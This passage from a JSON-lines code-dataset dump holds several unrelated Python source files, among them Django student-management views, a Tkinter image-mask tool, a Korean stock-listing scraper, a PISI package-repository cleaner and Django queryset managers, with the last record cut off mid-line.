\ndef students(request, **kwargs):#, first_name, last_name, gender, cur_degree):\n if request.method == 'POST':\n form = stu_search_form(request.POST)\n form.is_valid()\n redirect_url = '/students/'\n search_form_params = {}\n for name, val in form.cleaned_data.items():\n if val and val != '':\n search_form_params[name] = val\n redirect_url += \"{0}={1}/\".format(name, val)\n return redirect(redirect_url, **search_form_params)\n else:\n students = Student.objects.all()\n search_form_params = {}\n seach_dict = {}\n for name, val in kwargs.items():\n if val:\n search_form_params[name] = val\n if name == 'cur_degree': \n if val == 'none':\n seach_dict[name] = None\n continue\n else:\n name += '__deg_type'\n seach_dict[name + \"__contains\"] = val\n if kwargs: students = students.filter(**seach_dict)\n form = stu_search_form(search_form_params)\n paginator = Paginator(students, 1) # Show 1 students per page, 1 is just for test\n page = request.GET.get('page')\n students_page = paginator.get_page(page)\n if not page: page = 1\n else: page = int(page)\n neigh_pages = [n for n in range(max(page - 2, 1), min(page + 3, paginator.num_pages + 1))]\n if len(neigh_pages) == 0 or neigh_pages[0] > 1:\n neigh_pages.insert(0, -1)\n neigh_pages.insert(0, 1)\n if neigh_pages[-1] < paginator.num_pages:\n neigh_pages.append(-1)\n neigh_pages.append(paginator.num_pages)\n return render(request, 'students.html', {\n 'form': form,\n 'students': students_page,\n 'neigh_pages': neigh_pages,\n })\n \ndef create_stu(request):\n if request.method == 'POST':\n form = stu_bio_form(request.POST)\n if form.is_valid():\n form.save()\n messages.success(request, 'Student is added.')\n else: \n messages.error(request, mark_safe(\"{0}\".format(form.errors)))\n return redirect('create_stu')\n else:\n form = stu_bio_form()\n title = 'Add a Student'\n return render(request, 'stu_bio_info.html', {\n 'form': form,\n 'title': title,\n })\n\ndef edit_stu(request, id):\n if request.method == 'POST':\n form = stu_bio_form(request.POST, instance = Student.objects.get(id = id))\n if form.has_changed():\n if form.is_valid():\n form.save()\n messages.success(request, 'Student is updated.')\n else: \n messages.error(request, mark_safe(\"{0}\".format(form.errors)))\n else:\n messages.info(request, 'Noting is changed.')\n return redirect('edit_stu', id = id)\n else:\n form = stu_bio_form(instance = Student.objects.get(id = id))\n title = 'Edit Student Bio Info'\n return render(request, 'stu_bio_info.html', {\n 'form': form,\n 'title': title,\n })\n\ndef delete_stu(request, id):\n return delete(request, Student, id, \"Student\", 'UIN', 'uin', '/students/')","sub_path":"KumoGT/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"444281998","text":"\n# coding: utf-8\n\n# In[18]:\n\nimport os\nimport os.path\nfrom tkinter import *\nfrom tkinter import filedialog\nfrom tkinter.filedialog import askopenfilename\nfrom PIL import Image, ImageTk,ImageDraw\nfrom skimage import data, io\nimport matplotlib.pyplot as plt\nimport rmReflect as rmrf\n\n\n# In[19]:\n\nclass RoiMaker:\n \n filePath = './'\n black = (0, 0, 0)\n defaultWidth = 640\n defaultHeight = 480\n imgScale = 1.0\n \n def __init__(self, master):\n \n #Initialize attributes\n self.ptList = []\n self.lnList = []\n \n #Initialize widgets\n #Frames\n self.imgFrame = Frame(master, width = self.defaultWidth * 1 , height = self.defaultHeight)\n self.imgFrame.grid(row=0, column=0, padx=10, pady=10)\n self.resultFrame = Frame(master, width = self.defaultWidth/2 , height = self.defaultHeight)\n self.resultFrame.grid(row=0, column=1, padx=10, pady=10)\n self.btnFrame = Frame(master, width = 220, height = self.defaultHeight)\n self.btnFrame.grid(row=1, column=1, padx=10, pady=10)\n self.btnFrame.config(background = \"#BBBBBB\") \n self.logFrame = Frame(master, width = 200 + self.defaultWidth, height = 100)\n self.logFrame.grid(row=1, column=0, padx=10, pady=10)\n #Canvas\n self.imgCanvas = Canvas(self.imgFrame, bd = 0, width = self.defaultWidth, height = self.defaultHeight)\n self.imgCanvas.grid(row=0, column=0)\n \n self.maskCanvas = Canvas(self.resultFrame, bd = 0, width = self.defaultWidth/2, height = self.defaultHeight/2)\n self.maskCanvas.grid(row=0, column=0)\n \n self.resultCanvas = Canvas(self.resultFrame, bd = 0, width = self.defaultWidth/2, height = self.defaultHeight/2)\n self.resultCanvas.grid(row=1, column=0)\n \n self.defaultImage = ImageTk.PhotoImage(Image.open(\"default.bmp\")) \n self.currentImg = self.imgCanvas.create_image(0,0,image = self.defaultImage ,anchor=\"nw\")\n #binding image canvas to mouse click events\n self.imgCanvas.bind(\"\", self.markCoord)\n \n #Buttons\n self.btnLoad = Button(self.btnFrame, height=3, width=12, text = \"Load Image\", command = self.loadImage)\n self.btnLoad.grid(row = 0, column = 0, padx = 10, pady = 30)\n \n self.btnApply = Button(self.btnFrame, height=3, width=12, text = \"Apply\", command = self.applyRoi)\n self.btnApply.grid(row = 0, column = 1, padx = 10, pady = 30)\n \n self.btnClear = Button(self.btnFrame, height=3, width=12, text = \"Clear\", command = self.clearRoi)\n self.btnClear.grid(row = 0, column = 2, padx = 10, pady = 30)\n \n self.btnSave = Button(self.btnFrame, height=3, width=12, text = \"Save Mask\", command = self.saveResult)\n self.btnSave.grid(row = 1, column = 0, padx = 10, pady = 30)\n \n self.btnRemove = Button(self.btnFrame, height=3, width=12, text = \"Remove\\n Reflectance\", command = self.rmReflect)\n self.btnRemove.grid(row = 1, column = 1, padx = 10, pady = 30)\n #Text\n self.logcat = Text(self.logFrame, width = 90, height = 10 )\n self.logcat.grid(row=0, column=0, padx=10, pady=20)\n \n \n \n #Binding Events for buttons, mouse click and pressing key \n #Function for loading image file, called when btnLoad is click\n def loadImage(self):\n File = askopenfilename(parent=root, initialdir=\"./\",title='Choose an image.')\n try:\n img = Image.open(File)\n self.imgScale = img.width/self.defaultWidth\n self.loadedImg = ImageTk.PhotoImage(img.resize(( int(self.defaultWidth) , \n int(self.defaultHeight) ), Image.ANTIALIAS))\n self.imgCanvas.itemconfig(self.currentImg,image = self.loadedImg) \n except:\n self.logcat.insert(0.0, 'Load image failed')\n return\n #record current image file path\n self.filePath = os.path.dirname(os.path.abspath(File))\n self.filename = File\n self.logcat.insert(0.0, 'Load image from ' + File + '\\n')\n \n #clear previous ROI when new image is loaded\n self.clearRoi()\n \n #Applying the select points to forming the ROI region, and show results\n def applyRoi(self):\n self.logcat.insert(0.0, 'ROI applied\\n')\n #draw the roi mask (of original image size)\n self.RoiMask = Image.new(\"L\", (int(self.defaultWidth* self.imgScale ), int(self.defaultHeight * self.imgScale)), self.black)\n draw = ImageDraw.Draw(self.RoiMask)\n draw.polygon(self.ptList, fill=\"white\")\n \n #display mask image on maskCanvas\n self.mskImg = ImageTk.PhotoImage(self.RoiMask.resize((int(self.defaultWidth/2), int(self.defaultHeight/2)), Image.ANTIALIAS))\n self.maskCanvas.create_image(0, 0, image = self.mskImg, anchor = 'nw')\n \n\n def clearRoi(self):\n for line in self.lnList:\n self.imgCanvas.delete(line)\n \n self.ptList = []\n self.lnList = []\n self.logcat.insert(0.0, 'Clear selected ROI\\n') \n \n #Output ROI mask\n def saveResult(self):\n filename = self.filePath + '/' + 'binMask.bmp'\n self.RoiMask.save(filename)\n self.logcat.insert(0.0, 'Save file to ' + filename + '\\n')\n\n #Call the applyRoi function when enter key is pressed\n def enterForApply(self,event):\n self.applyRoi()\n \n #callback for marking the coordinates of clicked points\n def markCoord(self, event):\n \n #Map the canvas coordinates tooriginal image coordinates\n (x, y) = (int(event.x * self.imgScale), int(event.y * self.imgScale))\n \n #Add the point to the list and draw the line\n if len(self.ptList) > 0:\n #Recover the scale\n last_pt = (self.ptList[len(self.ptList) - 1][0]/self.imgScale, self.ptList[len(self.ptList) - 1][1]/self.imgScale)\n self.lnList.append(self.imgCanvas.create_line(int(last_pt[0]), int(last_pt[1]), event.x, event.y, fill = \"red\"))\n self.ptList.append((x, y))\n self.logcat.insert(0.0, 'Mark (' + str(x) + ', ' + str(y) + ')\\n') \n \n #Function for remove the reflectance\n def rmReflect(self):\n oriImg = data.imread(self.filename) \n roiFileName = self.filePath + '/' + 'binMask.bmp'\n if os.path.isfile(roiFileName):\n roi = data.imread(roiFileName)\n else:\n self.logcat.insert(0.0, 'Please select and save ROI before removing reflectence\\n')\n return\n \n imgSeg, mask = rmrf.rmReflect(oriImg, roi)\n plt.imsave(self.filePath + '/binMask_rmReflect.jpg', mask, cmap = plt.cm.gray)\n \n #Display results\n result = Image.open(self.filePath + '/binMask_rmReflect.jpg') \n self.resultImg = ImageTk.PhotoImage(result.resize((int(self.defaultWidth/2), int(self.defaultHeight/2)), Image.ANTIALIAS))\n self.resultCanvas.create_image(0, 0, image = self.resultImg, anchor = 'nw') \n plt.subplot(121)\n io.imshow(imgSeg)\n plt.subplot(122)\n io.imshow(mask)\n plt.show()\n \n print('Relectance region removed')\n\n\n# In[20]:\n\nroot = Tk()\nroot.wm_title('ROI Select')\nroot.config(background = \"#BBBBBB\") \nroimaker = RoiMaker(root)\nroot.bind('', roimaker.enterForApply)\nroot.mainloop()\n\n","sub_path":"ROISelect/ROISelect.py","file_name":"ROISelect.py","file_ext":"py","file_size_in_byte":7461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"198870904","text":"from flask import Flask\nfrom .settings import named_config\nfrom .extensions import bcrypt, db, migrate, cache, cors\nfrom . import models\n\n\ndef create_app(config_name):\n app = Flask(__name__)\n app.config.from_object(named_config[config_name])\n register_extensions(app)\n register_shellcontext(app)\n register_commands(app)\n return app\n\n\ndef register_extensions(app):\n \"\"\"Register Flask extensions.\"\"\"\n db.init_app(app)\n bcrypt.init_app(app)\n migrate.init_app(app, db)\n # cache.init_app(app)\n cors.init_app(app)\n\n\ndef register_shellcontext(app):\n \"\"\"Register shell context objects.\"\"\"\n def shell_context():\n \"\"\"Shell context objects.\"\"\"\n return {\n 'db': db,\n 'models': models\n }\n app.shell_context_processor(shell_context)\n\n\ndef register_commands(app):\n \"\"\"Register Click commands.\"\"\"\n from .scripts import prt_historica\n app.app_context().push()\n app.cli.add_command(prt_historica.load, name='load')\n\n","sub_path":"api/patentes/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"475900750","text":"\"\"\"\nCreated on Fri May 26 15:20:01 2017\n\n#Digit Recognition for V & V\n\n#Following note added by RR\nNote: \n1. The actual digits data from the http://archive.ics.uci.edu/ml/datasets/Pen-Based+Recognition+of+Handwritten+Digits is different than the one referred in this sklearn example\n2. For more info, refer this link http://scikit-learn.org/stable/modules/generated/sklearn.datasets.load_digits.html and the above one.\n3. The digits data referred by this Sklearn example can be downloaded from the following link.\nhttps://github.com/scikit-learn/scikit-learn/blob/master/sklearn/datasets/data/digits.csv.gz\n\"\"\"\n\n\n\nimport matplotlib.pyplot as plt\n\n\nfrom sklearn import datasets, svm, metrics\n\nimport numpy as np\nimport _pickle as cPickle\n\ndigits = np.loadtxt('digits_Train.csv', delimiter=',')\ndigits_images_flat = digits[:,:(-1)]\ndigits_images = digits_images_flat.view()\ndigits_images.shape = ((-1), 8, 8)\ndigits_target = digits[:,(-1)].astype(np.int)\n\n\n\ndigits_test = np.loadtxt('digits_Test.csv', delimiter=',')\ndigits_test_images_flat = digits_test[:,:(-1)]\ndigits_test_images = digits_test_images_flat.view()\ndigits_test_images.shape = ((-1), 8, 8)\ndigits_test_target = digits_test[:,(-1)].astype(np.int)\n\n\n\n\n\nimages_and_labels = list(zip(digits_images, digits_target))\n\n\n\n\n\n\n\n\n\n\n\nn_samples = len(digits_images)\n\n\n\nclassifier = svm.SVC(gamma=0.001, kernel='linear')\n\n\nclassifier.fit(digits_images_flat, digits_target)\n\n\nexpected = digits_test_target\npredicted = classifier.predict(digits_test_images_flat)\nprint('Classification report for classifier %s:\\n%s\\n' % (\nclassifier, metrics.classification_report(expected, predicted)))\nprint('Confusion matrix:\\n%s' % metrics.confusion_matrix(expected, predicted))\nprint(\"accuracy:\", metrics.accuracy_score(expected, predicted))\n\nimages_and_predictions = list(zip(digits_test_images, predicted))\n\n\n\n\n\n\n\n\n\nnp.savetxt('output.txt', classifier.decision_function(digits_test_images_flat))\n\noutputData = {'data_array': metrics.confusion_matrix(expected, predicted)}\n\nwith open('output.pkl', 'wb') as outputFile:\n cPickle.dump(outputData, outputFile)\n\nwith open('mutpy', 'wb') as modelFile:\n cPickle.dump(classifier, modelFile)","sub_path":"ML_Applications/SVM/Mutants/code/SVM_linear/DigitRecognitionApp_47.py","file_name":"DigitRecognitionApp_47.py","file_ext":"py","file_size_in_byte":2176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"173886973","text":"# Copyright (c) 2022 Kyle Schouviller (https://github.com/kyle0654)\n\nfrom fastapi import FastAPI\nfrom fastapi_events.handlers.local import local_handler\nfrom fastapi_events.typing import Event\nfrom fastapi_socketio import SocketManager\n\nfrom ..services.events import EventServiceBase\n\n\nclass SocketIO:\n __sio: SocketManager\n\n def __init__(self, app: FastAPI):\n self.__sio = SocketManager(app=app)\n self.__sio.on(\"subscribe\", handler=self._handle_sub)\n self.__sio.on(\"unsubscribe\", handler=self._handle_unsub)\n\n local_handler.register(event_name=EventServiceBase.session_event, _func=self._handle_session_event)\n\n async def _handle_session_event(self, event: Event):\n await self.__sio.emit(\n event=event[1][\"event\"],\n data=event[1][\"data\"],\n room=event[1][\"data\"][\"graph_execution_state_id\"],\n )\n\n async def _handle_sub(self, sid, data, *args, **kwargs):\n if \"session\" in data:\n self.__sio.enter_room(sid, data[\"session\"])\n\n # @app.sio.on('unsubscribe')\n\n async def _handle_unsub(self, sid, data, *args, **kwargs):\n if \"session\" in data:\n self.__sio.leave_room(sid, data[\"session\"])\n","sub_path":"invokeai/app/api/sockets.py","file_name":"sockets.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"395162888","text":"#!/usr/bin/python3\n\n\ndef get_career(age):\n prof = 'undefined'\n\n car = [\n ['kindergarten child', 0, 5],\n ['schoolboy', 6, 17], \n ['highs school student', 18, 23], \n ['job proffesional', 24, 120]\n ]\n \n item = 0\n for item in range(len(car)):\n if (age > car[item][1] and age < car[item][2]): \n \t prof = car[item][0]\n break\n \n return prof\n\n\n### Main ###\n\nage = input('Input age:')\ncareer = get_career(int(age))\nprint ('The one is',career)","sub_path":"home_week1/task1_week1.py","file_name":"task1_week1.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"192405788","text":"import io\nimport time\nimport requests\nimport pandas as pd\nfrom pandas.io.json import json_normalize\nimport json\n\nclass KrxStockListing:\n def __init__(self, market):\n self.market = market\n \n def read(self):\n # KRX 상장회사목록\n url = 'http://kind.krx.co.kr/corpgeneral/corpList.do?method=download&searchType=13'\n df_listing = pd.read_html(url, header=0)[0]\n cols_ren = {'회사명':'Name', '종목코드':'Symbol', '업종':'Sector', '주요제품':'Industry', \n '상장일':'ListingDate', '결산월':'SettleMonth', '대표자명':'Representative', \n '홈페이지':'HomePage', '지역':'Region', }\n df_listing = df_listing.rename(columns = cols_ren)\n df_listing['Symbol'] = df_listing['Symbol'].apply(lambda x: '{:06d}'.format(x))\n df_listing['ListingDate'] = pd.to_datetime(df_listing['ListingDate'])\n df_listing.head()\n\n # KRX 주식종목검색\n header_data = { 'User-Agent': 'Chrome/78.0.3904.87 Safari/537.36', }\n\n url_tmpl = 'http://marketdata.krx.co.kr/contents/COM/GenerateOTP.jspx?bld=COM%2Ffinder_stkisu&name=form&_={}' \n url = url_tmpl.format( int(time.time() * 1000) )\n r = requests.get(url, headers=header_data)\n\n down_url = 'http://marketdata.krx.co.kr/contents/MKD/99/MKD99000001.jspx'\n down_data = {\n 'mktsel':'ALL',\n 'pagePath':'/contents/COM/FinderStkIsu.jsp',\n 'code': r.content,\n 'geFirstCall':'Y',\n }\n r = requests.post(down_url, down_data, headers=header_data)\n jo = json.loads(r.text)\n df_finder = json_normalize(jo, 'block1')\n df_finder.columns = ['FullCode', 'ShortCode', 'Name', 'Market']\n df_finder['Symbol'] = df_finder['ShortCode'].str[1:]\n\n # 상장회사목록, 주식종목검색 병합\n df_left = df_finder[['Symbol', 'Market', 'Name']]\n df_right = df_listing[['Symbol', 'Sector', 'Industry', 'ListingDate', 'SettleMonth', 'Representative', 'HomePage', 'Region']]\n\n df_master = pd.merge(df_left, df_right, how='left', left_on='Symbol', right_on='Symbol')\n if self.market in ['KONEX', 'KOSDAQ', 'KOSPI']:\n return df_master[df_master['Market'] == self.market] \n return df_master\n\nclass KrxDelisting:\n def __init__(self, market):\n self.market = market\n\n def read(self):\n # STEP 01: Generate OTP\n url = 'http://marketdata.krx.co.kr/contents/COM/GenerateOTP.jspx?' \\\n 'name=fileDown&filetype=xls&url=MKD/04/0406/04060600/mkd04060600&' \\\n 'market_gubun=ALL&isu_cdnm=%EC%A0%84%EC%B2%B4&isu_cd=&isu_nm=&' \\\n 'isu_srt_cd=&fromdate=19900101&todate=22001231&del_cd=1&' \\\n 'pagePath=%2Fcontents%2FMKD%2F04%2F0406%2F04060600%2FMKD04060600.jsp'\n\n header_data = {\n 'User-Agent': 'Chrome/78.0.3904.87 Safari/537.36',\n }\n r = requests.get(url, headers=header_data)\n\n # STEP 02: download\n url = 'http://file.krx.co.kr/download.jspx'\n form_data = {'code': r.text}\n header_data = {\n 'Referer': 'http://marketdata.krx.co.kr/contents/MKD/04/0406/04060600/MKD04060600.jsp',\n 'User-Agent': 'Chrome/78.0.3904.87 Safari/537.36',\n }\n r = requests.post(url, data=form_data, headers=header_data)\n df = pd.read_excel(io.BytesIO(r.content))\n df['종목코드'] = df['종목코드'].str.replace('A', '')\n df['폐지일'] = pd.to_datetime(df['폐지일'])\n col_map = {'종목코드':'Symbol', '기업명':'Name', '폐지일':'DelistingDate', '폐지사유':'Reason'}\n return df.rename(columns=col_map) \n","sub_path":"FinanceDataReader/krx/listing.py","file_name":"listing.py","file_ext":"py","file_size_in_byte":3735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"371930680","text":"import sqlite3\nfrom lib import sqlite_utils\n\nif __name__ == \"__main__\":\n query_file = \"./sql/remake_sqlite3.sql\"\n with open(query_file, \"r\") as fp:\n all_query = fp.read()\n for query in all_query.split(\";\\n\"):\n # print(query)\n sqlite_utils.execute_query(query, ())\n","sub_path":"init_sqlite3.py","file_name":"init_sqlite3.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"516680942","text":"import sys\nimport xml.etree.ElementTree as ET\nimport re\nimport pickle\n\nfilename = 'passau'\npath = \"../resources/osm/\"\n\nfilename = 'munich4'\npath = r'F:\\Passau_Masters\\Research Work\\Alessio\\AutonomousCar\\expriments_simulation\\crash_simulation_6\\\\'\n\n\nmap = path + filename + '.osm'\nmap_lanes = path + filename + '.lanes'\nmap_width = path + filename + '.width'\n# separate Lanes and width of road\ntry:\n mapFile = open(map, 'r', encoding=\"utf8\")\n oneway =\"\"\n nodes=[]\n lanes_dict = {}\n width_dict = {}\n lanes = 0\n width = 0\n for line in mapFile:\n if line.startswith(' list:\n \"\"\"\n Finds all *.pisi files under the directory.\n\n Args:\n directory (str): Path to PISI repository.\n\n Returns:\n list: A list of tuples created by *.pisi file root and file name.\n\n Examples:\n >>> scan_repository('/path/to/repository')\n [\n ('/path/to/repository/f/firefox/', 'firefox-70.0-1-p2-x86_64.pisi'),\n ('/path/to/repository/s/spotify/', 'spotify-1.1.10.546-15-p2-x86_64.pisi'),\n ...\n ]\n\n \"\"\"\n print_message('Started scanning files in repository directory.', VERBOSE)\n pisi_files = []\n for root, _, files in os.walk(directory):\n for file in files:\n if file.endswith('.pisi'):\n print_message('Found %s in %s.' % (file, root), DEBUG)\n pisi_files.append((root, file))\n return pisi_files\n\n\ndef parse_packages(pisi_files: list) -> dict:\n \"\"\"\n Parses *.pisi file names and generates dictionaries for packages.\n\n Args:\n pisi_files (list): A list of tuples which have file root and file name in it.\n\n Returns:\n dict: A dictionary that contains package name as key and other meta data as value in another dictionary.\n\n Examples:\n >>> parse_packages([('/path/to/repository/f/firefox/', 'firefox-70.0-1-p2-x86_64.pisi'), ('/path/to/repository/s/spotify/', 'spotify-1.1.10.546-15-p2-x86_64.pisi'),])\n {\n 'firefox': {\n 'path': '/path/to/repository/f/firefox/',\n 'pisi_version': 'p2',\n 'arch': 'x86_64',\n 'versions': [('70', '0', '1')]\n },\n 'spotify': {\n 'path': '/path/to/repository/s/spotify/',\n 'pisi_version': 'p2',\n 'arch': 'x86_64',\n 'versions': [('1', '1', '10', '546', '15')]\n }\n }\n\n \"\"\"\n print_message('Started parsing PISI files.', VERBOSE)\n packages = {}\n for path, pisi_file in pisi_files:\n # Remove file extension.\n package_name_without_extension = pisi_file.split('.pisi')[0]\n # Parse file name by splitting last 4 dash (-)\n package_name, version, revision, pisi_version, arch = package_name_without_extension.rsplit('-', 4)\n # Python has a feature to sort list of tuples so that we create tuples from versions by splitting dots (.)\n version_tuple = (*version.split('.'), revision)\n comparable_version = parse_version('.'.join(version_tuple))\n\n print_message('Parsed %s. Package name: %s, version: %s, revision: %s, pisi version: %s, arch: %s.' %\n (pisi_file, package_name, version, revision, pisi_version, arch), DEBUG)\n\n # Merge all package data in a dictionary.\n package = packages.get(package_name, {})\n versions = package.get('versions', [])\n versions.append({'path': path, 'version': version_tuple, 'comparable_version': comparable_version})\n package.update({\n 'pisi_version': pisi_version,\n 'arch': arch,\n 'versions': versions\n })\n packages.update({package_name: package})\n\n return packages\n\n\ndef find_redundant(packages: dict) -> list:\n \"\"\"\n Finds unwanted packages.\n\n Args:\n packages: Package dict.\n\n Returns:\n list: List of file paths to remove.\n\n \"\"\"\n print_message('Started finding redundant PISI files.', VERBOSE)\n old_packages = []\n for name, meta in packages.items():\n if len(meta['versions']) > 10:\n a = 5\n versions = sorted(meta['versions'], key=lambda x: x.get('comparable_version'), reverse=True)[args.count:]\n for version in versions:\n pisi_file = '{name}-{version}-{revision}-{pisi_version}-{arch}.pisi'.format(\n name=name,\n version='.'.join(version['version'][:-1]),\n revision=version['version'][-1],\n pisi_version=meta['pisi_version'],\n arch=meta['arch'],\n )\n path_to_pisi_file = os.path.join(version['path'], pisi_file)\n\n print_message('Found redundant package %s.' % path_to_pisi_file, DEBUG)\n\n old_packages.append(path_to_pisi_file)\n return old_packages\n\n\ndef remove_excess(old_packages: list):\n \"\"\"\n Removes files in the list.\n\n Args:\n old_packages (list): List of file names.\n\n \"\"\"\n print_message('Started removing redundant PISI files.', VERBOSE)\n for package in old_packages:\n print_message('Removing %s.' % package, DEBUG)\n os.remove(package)\n\n\ndef yes_no_prompt(message: str) -> bool:\n \"\"\"\n Yes/No prompt to be sure that the user really wants to continue what he/she wants.\n\n Args:\n message (str): The message that will be prompted to the user.\n\n Returns:\n bool: True if the user enters 'y', false if enters 'N' or empty.\n\n \"\"\"\n while True:\n answer = input(message + ' [y/N]: ')\n if len(answer) == 0:\n return False\n elif len(answer) > 0 and answer[0].lower() in ('y', 'n'):\n return answer[0].lower() == 'y'\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Clean Pisi repositories by removing older *.pisi files.\")\n parser.add_argument(\"directory\", type=str, help=\"Pisi repository directory\")\n parser.add_argument(\"count\", type=int, help=\"Number of packages to keep in repository.\")\n parser.add_argument(\"-v\", \"--verbose\", action=\"store_true\")\n parser.add_argument(\"-d\", \"--debug\", action=\"store_true\")\n args = parser.parse_args()\n\n if args.count == 0:\n if not yes_no_prompt('Entering 0 (zero) as count will cause all PISI packages to be '\n 'removed from the directory. Do you really want to continue?'):\n print('Good decision! Exiting.')\n exit(0)\n\n # Check if the directory exists.\n if not os.path.exists(args.directory):\n print('%s does not exist.' % args.directory)\n exit(-1)\n # Check if the directory is really a directory.\n elif not os.path.isdir(args.directory):\n print('%s is not a directory.' % args.directory)\n exit(-2)\n\n pisi_files = scan_repository(args.directory)\n # Check if there is any PISI file found.\n if not pisi_files:\n print('Could not find any file ending with .pisi in %s. Exiting.' % args.directory)\n exit(1)\n packages = parse_packages(pisi_files)\n if not packages:\n print('Something is wrong. Could not parse any package from *.pisi files. Exiting.')\n exit(-3)\n\n redundant_packages = find_redundant(packages)\n\n # Check if there is any redundant package.\n if not redundant_packages:\n print('There is no redundant package. Repository is clean. The world is a much better place now! :)')\n exit(0)\n\n # Check if the user really wants to remove the packages.\n if yes_no_prompt('%s redundant packages found. Do you really want to remove them?' % len(redundant_packages)):\n remove_excess(redundant_packages)\n","sub_path":"safaariman/other/pisi_repository_cleaner.py","file_name":"pisi_repository_cleaner.py","file_ext":"py","file_size_in_byte":7912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"493299169","text":"# Reads the sa folder wiht dicom files and contours\n# then draws the contours on the images.\n\nfrom con_reader import CONreaderVM\nfrom dicom_reader import DCMreaderVM\nfrom con2img import draw_contourmtcs2image as draw\n\nimage_folder = 'C:\\\\Users\\\\Sonrisa\\\\Desktop\\\\sa\\\\images'\ncon_file = 'C:\\\\Users\\\\Sonrisa\\\\Desktop\\\\sa\\\\contours.con'\n# image_folder = '/mnt/c/users/sonrisa/desktop/sa/images'\n# con_file = '/mnt/c/users/sonrisa/desktop/sa/contours.con'\n\n# reading the dicom files\ndr = DCMreaderVM(image_folder)\n\n# reading the contours\ncr = CONreaderVM(con_file)\ncontours = cr.get_hierarchical_contours()\n# drawing the contours for the images\nfor slc in contours:\n for frm in contours[slc]:\n image = dr.get_image(slc, frm) # numpy array\n cntrs = []\n rgbs = []\n for mode in contours[slc][frm]:\n # choose color\n if mode == 'ln':\n rgb = [1, 0, 0]\n elif mode == 'lp':\n rgb = [0, 1, 0]\n elif mode == 'rn':\n rgb = [1, 1, 0]\n else:\n rgb = None\n if rgb is not None:\n cntrs.append(contours[slc][frm][mode])\n rgbs.append(rgb)\n if len(cntrs) > 0:\n draw(image, cntrs, rgbs)\n","sub_path":"example_usage.py","file_name":"example_usage.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"286855079","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.4 (62061)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/softwarefabrica/django/common/managers.py\n# Compiled at: 2009-04-14 04:55:46\nfrom django.db import models\nfrom django.db.models.query import QuerySet\nfrom django.db.models import Q\nfrom django.contrib.auth.models import User\nfrom django.contrib.contenttypes import generic\nfrom django.db.models import permalink\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.conf import settings\nfrom softwarefabrica.django.utils.managers import QuerySetManager\nfrom softwarefabrica.django.utils.UUIDField import UUIDField\nimport datetime\n\ndef instance_is_active(obj, when=None):\n \"\"\"\n Determine if a model instance is active.\n The model MUST have the fields ``active``, ``active_from`` and\n ``active_to``.\n\n The instance model MUST adhere to the ``active`` temporal protocol.\n \"\"\"\n when = when or datetime.datetime.now()\n if not obj.active:\n return False\n if obj.active_from is not None and when < obj.active_from:\n return False\n if obj.active_to is not None and when > obj.active_to:\n return False\n return obj.active\n\n\ndef deactivate_instance(obj, when=None):\n \"\"\"\n Deactivate an instance.\n\n The instance model MUST adhere to the ``active`` temporal protocol.\n \"\"\"\n if not obj.active:\n return True\n when = when or datetime.datetime.now()\n if obj.active_from is not None and obj.active_from > when:\n return True\n if obj.active_to is not None and obj.active_to < when:\n return True\n assert obj.active_from is None or obj.active_from <= when\n obj.active_to = when\n return true\n\n\nclass ActiveQuerySet(QuerySet):\n \"\"\"\n For use in conjunction with ``QuerySetManager``.\n\n The model MUST adhere to the ``active`` temporal protocol.\n \"\"\"\n __module__ = __name__\n\n def active(self, when=None):\n when = when or datetime.datetime.now()\n q_from = Q(active_from__lte=when) | Q(active_from__isnull=True)\n q_to = Q(active_to__gte=when) | Q(active_to__isnull=True)\n return self.filter(Q(active=True) & q_from & q_to)\n\n def inactive(self, when=None):\n when = when or datetime.datetime.now()\n q_from = Q(active_from__gt=when) | Q(active_from__isnull=True)\n q_to = Q(active_to__lt=when) | Q(active_to__isnull=True)\n q_fromto_notnull = Q(active_from__isnull=False) | Q(active_to__isnull=False)\n q = q_from & q_to & q_fromto_notnull\n return self.filter(Q(active=False) | q)\n\n\nclass OwnedQuerySet(QuerySet):\n \"\"\"\n For use in conjunction with ``QuerySetManager``.\n\n The model MUST adhere to the ``owner`` protocol.\n \"\"\"\n __module__ = __name__\n\n def owned(self, user=None, group=None, add_public=False):\n import operator\n if user is None and group is None:\n return self.all()\n o_set = self\n or_queries = []\n if user is not None:\n or_queries += [ Q(owner_group=group) for group in user.groups.all() ]\n or_queries.append(Q(owner_user=user))\n if group is not None:\n or_queries.append(Q(owner_group=group))\n if add_public:\n or_queries.append(Q(owner_user__isnull=True) & Q(owner_group__isnull=True))\n o_set = o_set.filter(reduce(operator.or_, or_queries))\n return o_set\n\n def not_owned(self, user=None, group=None, exclude_public=False):\n if user is None and group is None:\n return self.none()\n o_set = self\n or_queries = []\n if user is not None:\n or_queries += [ Q(owner_group=group) for group in user.groups.all() ]\n or_queries.append(Q(owner_user=user))\n if group is not None:\n or_queries.append(Q(owner_group=group))\n if exclude_public:\n or_queries.append(Q(owner_user__isnull=True) & Q(owner_group__isnull=True))\n o_set = o_set.exclude(reduce(operator.or_, or_queries))\n return o_set\n\n def owned_or_public(self, user=None, group=None):\n return self.owned(user=user, 